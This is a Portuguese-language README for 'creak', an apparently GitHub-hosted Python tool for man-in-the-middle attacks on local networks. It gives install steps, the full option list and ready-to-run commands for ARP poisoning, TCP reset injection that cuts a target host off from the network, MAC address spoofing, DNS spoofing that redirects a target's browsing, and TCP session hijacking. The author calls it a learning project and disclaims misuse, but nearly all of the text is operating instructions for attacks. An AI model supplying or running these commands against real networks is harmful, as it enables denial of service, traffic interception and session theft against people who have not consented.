
Envenenar, resetar, falsificar, redirecionar script MITM
Realiza alguns dos ataques MITM mais famosos em endereços alvo localizados em uma rede local. Entre eles, negar a capacidade de navegação e download de um host alvo na rede local, realizando um ataque de envenenamento ARP e enviando pacotes TCP reset para cada requisição feita ao roteador. Nascido como um projeto didático para aprendizado da linguagem Python, isento-me de qualquer responsabilidade por abuso, incluindo uso malicioso ou ilegal deste código.
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
ou simplesmente clone o repositório e execute o creak.py depois que todos os requisitos estiverem instalados:
$ git clone https://github.com/codepr/creak.git
É necessário ter instalado as bibliotecas pcap para manipulação de pacotes brutos e o módulo dpkt; para opções de DNS spoofing, é necessário ter instalado o módulo dnet do pacote libdnet, não o confunda com o módulo pydnet (ferramenta de avaliação de rede). Ele também pode usar scapy se desejado, pode ser definido no arquivo config na seção [output] > ENGINE.
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
Uso mais básico: Negar todo o tráfego para o host alvo
$ python creak.py -t 192.168.1.30 wlan0
Definir um gateway diferente:
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
Definir um endereço MAC diferente para o dispositivo:
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
Falsificar endereço MAC gerando um falso:
$ python creak.py -x -t 192.168.1.30 wlan0
Falsificar endereço MAC gerando um baseado no fabricante (ex: Xeros):
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
DNS spoofing usando um endereço MAC falso, redirecionando ab.xy para cd.xz (ex: localhost):
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
Negar vários hosts na sub-rede:
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
Veja o arquivo CHANGELOG.
Scapy (iniciado)Veja o arquivo LICENSE para direitos e limitações da licença (GNU v3).